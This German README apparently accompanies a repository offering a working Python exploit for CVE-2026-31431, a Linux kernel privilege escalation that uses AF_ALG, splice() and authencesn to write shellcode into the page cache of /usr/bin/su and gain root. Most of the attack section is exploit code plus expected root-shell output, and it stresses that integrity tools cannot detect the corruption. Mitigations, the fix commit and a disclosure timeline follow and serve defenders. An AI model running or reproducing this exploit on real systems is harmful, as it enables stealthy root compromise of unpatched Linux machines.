
Python-Exploit für CVE-2026-31431, eine Linux-Kernel-Privilegienerweiterung über Page-Cache-Korruption von setuid-Binaries, die Root-Zugriff ermöglicht.
Copy Fail (CVE-2026-31431) ist ein kritischer Logikfehler im kryptografischen Subsystem des Linux-Kernels, der es unprivilegierten Benutzern ermöglicht, eine Privilege Escalation auf Root zu erreichen. Die Schwachstelle betrifft Linux-Kernel 6.0.0 bis 6.18.x in allen gängigen Distributionen.
Dieses Repository enthält den echten Exploit, der die Schwachstelle auslöst, indem er den Page Cache von setuid-Binaries korrumpiert und beliebigen Code mit Root-Rechten ausführt.
Copy Fail ist ein Logikfehler, der es unprivilegierten Benutzern ermöglicht, beliebige 4-Byte-Blöcke direkt in den Page Cache des Kernels jeder lesbaren Datei auf dem System zu schreiben, einschließlich setuid-Binaries.
Wesentliche Merkmale:
Die Schwachstelle stammt aus einer Optimierung von 2017 in algif_aead.c (Commit 72548b093ee3), die AEAD-Operationen von Out-of-Place auf In-Place umstellte:
Vorher (sicher – 2015):
TX-Scatterlist (Eingabe) ← TX-Puffer (Benutzerdaten aus Datei)
RX-Scatterlist (Ausgabe) ← RX-Puffer (Ausgabebereich des Benutzers)
Getrennte Scatterlists = Page-Cache-Seiten sind schreibgeschützt
Nachher (verwundbar – 2017):
Kombinierte Scatterlist:
[ RX-Puffer ] [ Page-Cache-Seiten, verkettet über sg_chain() ]
↑ ↑
req->src = src req->dst = dst (GLEICHE Scatterlist)
Page-Cache-Seiten befinden sich jetzt in einer SCHREIBBAREN Scatterlist!
Die kombinierte Scatterlist sieht wie folgt aus:
[AAD + Chiffrat aus RX-Puffer] || [Tag aus /usr/bin/su Page Cache]
↑
Grenze
(authencesn schreibt ÜBER diesen Punkt hinaus)
Der authencesn-Algorithmus ist ein AEAD-Wrapper, der von IPsec für Extended Sequence Numbers (ESN) verwendet wird. Er führt eine HMAC-Berechnung durch, muss aber Bytes innerhalb der AAD (Associated Authenticated Data) neu anordnen.
Im Kernel-Code (crypto/authenc.c) während der Entschlüsselung:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // AAD-Bytes 0-7 lesen
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporär: dst[4..7] überschreiben
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← SCHLÜSSELZEILE
// 4 Bytes bei dst[assoclen+cryptlen] schreiben
Das Problem: Der dritte Schreibvorgang erfolgt am Offset assoclen + cryptlen. Im verwundbaren In-Place-Pfad:
Der Kernel behandelt diese Position als „verbrauchbaren Scratch-Speicher" und schreibt den Wert dort dauerhaft. Die ursprünglichen Bytes an dieser Position im Page Cache gehen für immer verloren.
1. Angreifer öffnet AF_ALG-Socket → bindet an authencesn(hmac(sha256),cbc(aes))
(Keine Privilegien erforderlich; AF_ALG ist für unprivilegierte Benutzer standardmäßig verfügbar)
2. Angreifer öffnet Zieldatei: /usr/bin/su (setuid-root-Binary)
3. Angreifer verwendet splice(), um die Page-Cache-Seiten von /usr/bin/su
als „Chiffrat" und „Tag" in den AF_ALG-Socket zu liefern
4. Angreifer sendet sendmsg() mit AAD, das Folgendes enthält:
- Bytes 0-3: Padding
- Bytes 4-7: seqno_lo = 4-Byte-Wert zum Schreiben (vom Angreifer kontrolliert)
- Bytes 8+: Padding
5. Angreifer ruft recvmsg() auf, das die AEAD-Entschlüsselungsoperation auslöst
Innerhalb von authencesns Entschlüsselung im Kernel-Space:
a) Kernel liest AAD-Bytes 0-7
b) Kernel schreibt seqno_hi bei dst[4..7] (temporär, dann wiederhergestellt)
c) Kernel schreibt seqno_lo bei dst[assoclen + cryptlen]
↓
DIESER SCHREIBVORGANG ÜBERSCHREITET DIE GRENZE VOM BENUTZERPUFFER IN DIE PAGE-CACHE-SEITEN
↓
4-Byte-Schreibvorgang in den Page Cache von /usr/bin/su erfolgt HIER
d) Kernel berechnet HMAC (Validierung schlägt fehl – Chiffrat ist fabriziert)
e) recvmsg() gibt einen Fehler zurück
ABER: Der 4-Byte-Schreibvorgang BLEIBT BEREITS im Page Cache bestehen
6. Angreifer wiederholt Schritte 2-5 für jeden 4-Byte-Block des Shellcodes
7. Angreifer führt /usr/bin/su aus
- Kernel lädt die Binary aus dem PAGE CACHE (der jetzt Shellcode enthält)
- Binary ist setuid-root
- Shellcode wird mit UID=0 ausgeführt
- Angreifer hat Root-Zugriff
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Request-Socket für AEAD-Operationen
Erstellt einen AF_ALG-Socket, der an die authencesn-AEAD-Vorlage gebunden ist.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Öffnet die setuid-Binary, die korrumpiert wird. Jede lesbare Datei funktioniert, aber setuid-Binaries werden für die Privilege Escalation gewählt.
pipe_rd, pipe_wr = os.pipe()
Erstellt eine Pipe, die als Vermittler für splice()-Operationen dient. Die Pipe-Puffer halten Referenzen auf Page-Cache-Seiten.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Verwendet splice(), um cryptlen Bytes von /usr/bin/su ab write_offset in die Pipe zu übertragen.
Warum das wichtig ist: splice() überträgt Daten zwischen Dateideskriptoren ohne Kopieren. Es übergibt direkte Referenzen auf Kernel-Page-Cache-Seiten. Diese Seiten bleiben in der internen Pufferstruktur der Pipe.
assoclen = 8 # AAD-Länge: Bytes 0-7
cryptlen = 32 # Chiffratlänge (== HMAC-SHA256-Ausgabe)
authsize = 32 # Tag-Länge
write_offset = 0x2000 # Offset in /usr/bin/su, an das geschrieben wird
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
Die AAD (Associated Authenticated Data) enthält:
Der authencesn-Algorithmus verwendet Bytes 4-7 dieser AAD in seinem Scratch-Write.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
Sendet die AAD an den AF_ALG-Socket. Das MSG_MORE-Flag zeigt an, dass Chiffrat/Tag folgen.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
Überträgt die Page-Cache-Seiten von der Pipe an den AF_ALG-Socket. Jetzt enthält die Scatterlist des Kernels:
Scatterlist-Kette:
[ AAD (aus RX-Puffer) ] || [ Chiffrat (aus RX-Puffer) ] → [ Tag (Page-Cache-Seiten) ]
↑
Referenziert weiterhin
die Seiten von /usr/bin/su
try:
req_sock.recv(1024)
except OSError:
pass # Voraussichtlich fehlgeschlagen mit ungültigem HMAC
Ruft recvmsg() auf, um die AEAD-Entschlüsselungsoperation auszulösen:
Innerhalb von authencesn im Kernel-Space:
dst[assoclen + cryptlen]
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
Der Exploit durchläuft eine Schleife und schreibt 4-Byte-Blöcke des Shellcodes an aufeinanderfolgenden Offsets in den Page Cache von /usr/bin/su.
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
Führt /usr/bin/su aus:
os.splice()-Unterstützung)lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
Erwartete Ausgabe auf verwundbarem System:
[*] CVE-2026-31431 (Copy Fail) Linux-Kernel-Privilege-Escalation
[*] Ziel: /usr/bin/su (setuid-root-Binary)
[*] Kernel-Version: 6.12.0-1007-aws
[+] Kernel 6.12.x liegt im verwundbaren Bereich (6.0 – 6.18)
[+] /usr/bin/su gefunden (setuid-root-Binary)
[+] Kernel-Schwachstellenprüfung: AF_ALG + splice + authencesn
[*] Beginn der Page-Cache-Korruption...
[*] Injiziere 33 Bytes Shellcode in /usr/bin/su
[+] Block 0 bei Offset 0x2000 geschrieben
[+] Block 1 bei Offset 0x2004 geschrieben
...
[+] Shellcode-Injektion erfolgreich!
[*] Führe /usr/bin/su aus, um Shellcode auszulösen...
# id
uid=0(root) gid=1001(user) groups=1001(user)
AF_ALG-AEAD-Unterstützung deaktivieren:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
Dies verhindert den Zugriff des Exploits auf die AEAD-Schnittstelle von AF_ALG, während andere AF_ALG-Funktionen intakt bleiben.
Verwundbare Module entladen:
sudo rmmod algif_aead
sudo rmmod authencesn
AF_ALG-Socket-Erstellung über seccomp blockieren (für containerisierte Umgebungen):
# In der Container-Sicherheitsrichtlinie socket(38, SOCK_SEQPACKET)-Syscalls verweigern
Update auf Linux 6.19+, das den Fix enthält (Commit a664bf3d603d).
Der Fix stellt algif_aead.c auf Out-of-Place-AEAD-Operationen zurück:
// Vorher (verwundbar In-Place):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX-SGL (Eingabe)
rsgl_src, // RX-SGL (Ausgabe) – GLEICH
used, ctx->iv);
// Nachher (korrigiert Out-of-Place):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX-SGL (Eingabe)
rsgl_src, // RX-SGL (Ausgabe) – UNTERSCHIEDLICH
used, ctx->iv);
Mit getrennten Quell- und Ziel-Scatterlists:
Dieser Exploit dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie immer die entsprechende Autorisierung ein, bevor Sie Schwachstellen testen.
| Aspekt | Erklärung |
|---|
| Keine Abstürze | Operation wird aus Sicht des Kernels abgeschlossen |
| Deterministisch | Keine Race Conditions; synchron und zuverlässig |
| Persistent | Page-Cache-Korruption übersteht sogar den recvmsg()-Fehler |
| Unsichtbar | Datei auf der Festplatte unberührt; Standard-Integritätstools erkennen nichts |
| Universell | Derselbe Code funktioniert auf allen Distributionen; keine distrospezifischen Offsets erforderlich |
| Portabel | Funktioniert auf x86-64- und ARM64-Architekturen |
| Datum | Ereignis |
|---|
| 2017-Q3 | Schwachstelle in algif_aead.c eingeführt (Commit 72548b093ee3) |
| 2026-03-23 | An das Linux-Kernel-Sicherheitsteam gemeldet |
| 2026-03-24 | Kernel-Team bestätigt die Schwachstelle |
| 2026-03-25 | Patches vorgeschlagen und überprüft |
| 2026-04-01 | Patches in den Mainline-Kernel übernommen (Commit a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 zugewiesen |
| 2026-04-29 | Öffentliche Offenlegung (Xint Research) |
| Serie | Status | Details |
|---|
| Linux 5.x | ✅ Sicher | Stammt aus der Zeit vor der Schwachstelle |
| Linux 6.0 – 6.18 | ❌ Verwundbar | Alle Minor-Versionen betroffen |
| Linux 6.19+ | ✅ Sicher | Enthält Fix (Commit a664bf3d603d) |
| Linux 7.0+ | ✅ Sicher | Nach dem Zusammenführen des Fixes |